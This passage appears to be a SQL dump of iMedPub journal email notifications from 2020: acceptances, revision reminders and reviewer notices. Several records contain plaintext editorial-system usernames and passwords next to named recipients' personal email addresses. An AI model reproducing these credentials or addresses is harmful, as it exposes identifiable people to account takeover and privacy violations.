<div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','sajalpandeysatna@gmail.com',5362,'2020-08-11',48),(1823,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-5361</b><br />\r\n            <br />\r\n            Article Title: <b>Level of Knowledge on Hepatitis B and C Virus among Blood Donors at National Blood Bank, Addis Ababa, Ethiopia</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Legesse</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-08-11</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','girmanet12@gmail.com',5361,'2020-08-11',48),(1824,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iptb-20-4498</b><br />\r\n            <br />\r\n            Article Title: <b>In-silico Study to elucidate corona Virus by plant phytoderivatives that hits as a fusion inhibitors targeting HR1 domain in spike protein which conformational Changes efficiently inhibit entry COVID-19 </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.transbiomedicine.com/\" target=\"_blank\">Translational Biomedicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>KHAN</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Translational Biomedicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-08-11</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@galleyproofs.com\">paymentproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.transbiomedicine.com/\">Translational Biomedicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','sahani.nadeem35@gmail.com',4498,'2020-08-11',673),(1828,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-5464</b><br />\r\n            <br />\r\n            Article Title: <b>NEUROLEPTIC MALIGNANT SYNDROME IN AN ATYPICAL PATIENT - A DIAGNOSTIC DILEMMA</b><br />\r\n            <br />\r\n            Corresponding Author: <b>AKSHAYA JAYACHANDRAN</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Lukasz </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-5464</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> szarpak<br />\r\n            <b>Password:</b> eRgytVxj<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','lukasz.szarpak@gmail.com',5464,'2020-08-12',85),(1829,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-20-5549</b><br />\r\n            <br />\r\n            Article Title: <b>ACUTE APPENDICITIS IN DE GARENGEOT HERNIA &ndash; A SYSTEMATIC REVIEW </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jusurgery.com/\" target=\"_blank\">Journal of Universal Surgery</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Allu</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Universal Surgery</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-08-13</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','jay@allu-surgeon.com',5549,'2020-08-13',319),(1833,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-5481</b><br />\r\n            <br />\r\n            Article Title: <b>Our Success in the Treatment of Acute Respiratory Failure in Coronovirus Patients Using Non-invasive Ventilation</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>nasibova</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>ipaom-20-5481</b> by <b>DATE_REVISION_DUE</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"https://www.archivesofmedicine.com/\">https://www.archivesofmedicine.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>esmira</b><br />\r\n            Password : <b>ISqn1gAA</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','doc.nasibova.esmira@gmail.com',5481,'2020-08-13',85),(1844,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-20-5597</b><br />\r\n            <br />\r\n            Article Title: <b>A STUDY OF CLINICAL PROFILE AND SURGICAL MANAGEMENT OF DYNAMIC INTESTINAL OBSTRUCTION IN A TERTIARY CARE HOSPITAL IN KARNATAKA, INDIA</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Universal Surgery</b><br />\r\n            <br />\r\n            Dear Dr. <b>Engin</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>IPJUS-20-5597</b> for the <b>Journal of Universal Surgery</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','omerengin@hotmail.com',5597,'2020-08-17',319),(1846,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-5464</b><br />\r\n            <br />\r\n            Article Title: <b>NEUROLEPTIC MALIGNANT SYNDROME IN AN ATYPICAL PATIENT - A DIAGNOSTIC DILEMMA</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Lukasz </b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipaom-20-5464</b> for the <b>Archives of Medicine</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','lukasz.szarpak@gmail.com',5464,'2020-08-17',85),(1852,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-5795</b><br />\r\n            <br />\r\n            Article Title: <b>METABOLIC CHANGES IN COLORECTAL CARCINOMAS: PROSPECTS FOR EARLY DETECTION OF NEOPLASTIC CHANGES</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Peter Orugbo</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shyam </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-5795</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> sundar_nandi<br />\r\n            <b>Password:</b> 72j2Bjjk<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','shyam.nandi@unmc.edu',5795,'2020-08-18',85),(1859,'<p>Ref.:  Ms. No. : <b>ipaom-20-5481</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Our Success in the Treatment of Acute Respiratory Failure in Coronovirus Patients Using Non-invasive Ventilation</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. nasibova</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-5481</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>esmira</b><br />\r\npassword: <b>ISqn1gAA</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','doc.nasibova.esmira@gmail.com',5481,'2020-08-19',85),(1862,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-5294</b><br />\r\n            <br />\r\n            Article Title: <b>ISOLATED UNILATERAL PULMONARY ARTERY HYPOPLASIA - RARE CASE REPORT</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Dr. Anusha G.N</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Mohammad </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-5294</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> azizur_rahman<br />\r\n            <b>Password:</b> TvoCB74a<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','mohammadrahmandr@gmail.com',5294,'2020-08-20',85),(1865,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-20-5597</b><br />\r\n            <br />\r\n            Article Title: <b>A STUDY OF CLINICAL PROFILE AND SURGICAL MANAGEMENT OF DYNAMIC INTESTINAL OBSTRUCTION IN A TERTIARY CARE HOSPITAL IN KARNATAKA, INDIA</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jusurgery.com/\" target=\"_blank\">Journal of Universal Surgery</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Syam</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Universal Surgery</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-08-21</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','divyasyam92@gmail.com',5597,'2020-08-21',319),(1866,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-20-5109</b><br />\r\n            <br />\r\n            Article Title: <b>Comparative Sero-epidemiological prevalence of TB with Acid Fast Bacilli sputum positive cases in TB suspects of lower Dir</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Monib Ullah</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Clinical Microbiology</b><br />\r\n            <br />\r\n            Dear Dr. <b>Wan</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipacm-20-5109</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> xuehua<br />\r\n            <b>Password:</b> KgmZncOh<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','kkoster@hawaii.edu',5109,'2020-08-21',248),(1867,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-20-5109</b><br />\r\n            <br />\r\n            Article Title: <b>Comparative Sero-epidemiological prevalence of TB with Acid Fast Bacilli sputum positive cases in TB suspects of lower Dir</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.acmicrob.com/\" target=\"_blank\">Archives of Clinical Microbiology</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Ullah</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Clinical Microbiology</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-08-21</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:galleyproof@journalinvoice.com\">galleyproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','monebullah91@gmail.com',5109,'2020-08-21',248),(1868,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-5464</b><br />\r\n            <br />\r\n            Article Title: <b>NEUROLEPTIC MALIGNANT SYNDROME IN AN ATYPICAL PATIENT - A DIAGNOSTIC DILEMMA</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>JAYACHANDRAN</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-08-21</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','aks.251192@gmail.com',5464,'2020-08-21',85),(1869,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-5670</b><br />\r\n            <br />\r\n            Article Title: <b>Degree of Completion of Laboratory Request Forms in a Tertiary Hospital in Nigeria.</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Peter Orugbo</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Lukasz </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-5670</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> szarpak<br />\r\n            <b>Password:</b> eRgytVxj<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','lukasz.szarpak@gmail.com',5670,'2020-08-21',85),(1873,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-20-5833</b><br />\r\n            <br />\r\n            Article Title: <b>Rare case of mucinous neoplasm of the appendix - Low-grade appendiceal mucinous neoplasm (LAMN) developed against the background of chronic ulcerohemorrhagic colitis</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Anna Taseva</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Universal Surgery</b><br />\r\n            <br />\r\n            Dear Dr. <b>Engin</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>IPJUS-20-5833</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> omer<br />\r\n            <b>Password:</b> sFPsN5Z5<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','omerengin@hotmail.com',5833,'2020-08-24',319),(1876,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-5670</b><br />\r\n            <br />\r\n            Article Title: <b>Degree of Completion of Laboratory Request Forms in a Tertiary Hospital in Nigeria.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Orugbo</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-08-25</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','drorugbopeter@gmail.com',5670,'2020-08-25',85),(1878,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-4739</b><br />\r\n            <br />\r\n            Article Title: <b>Impact of Educational Self-Efficacy Enhancement Program on Quality of Life, Pain Management, Self-Efficiency Behaviors, and Its Impact of Satisfaction among Adult Diabetic Patients with Peripheral Neuropathy Pain</b><br />\r\n            <br />\r\n            Corresponding Author: <b>JAWAD ABU-SHENNAR</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Etindele Sosso</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-4739</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> faustin_armel<br />\r\n            <b>Password:</b> HUJvN1Yf<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and 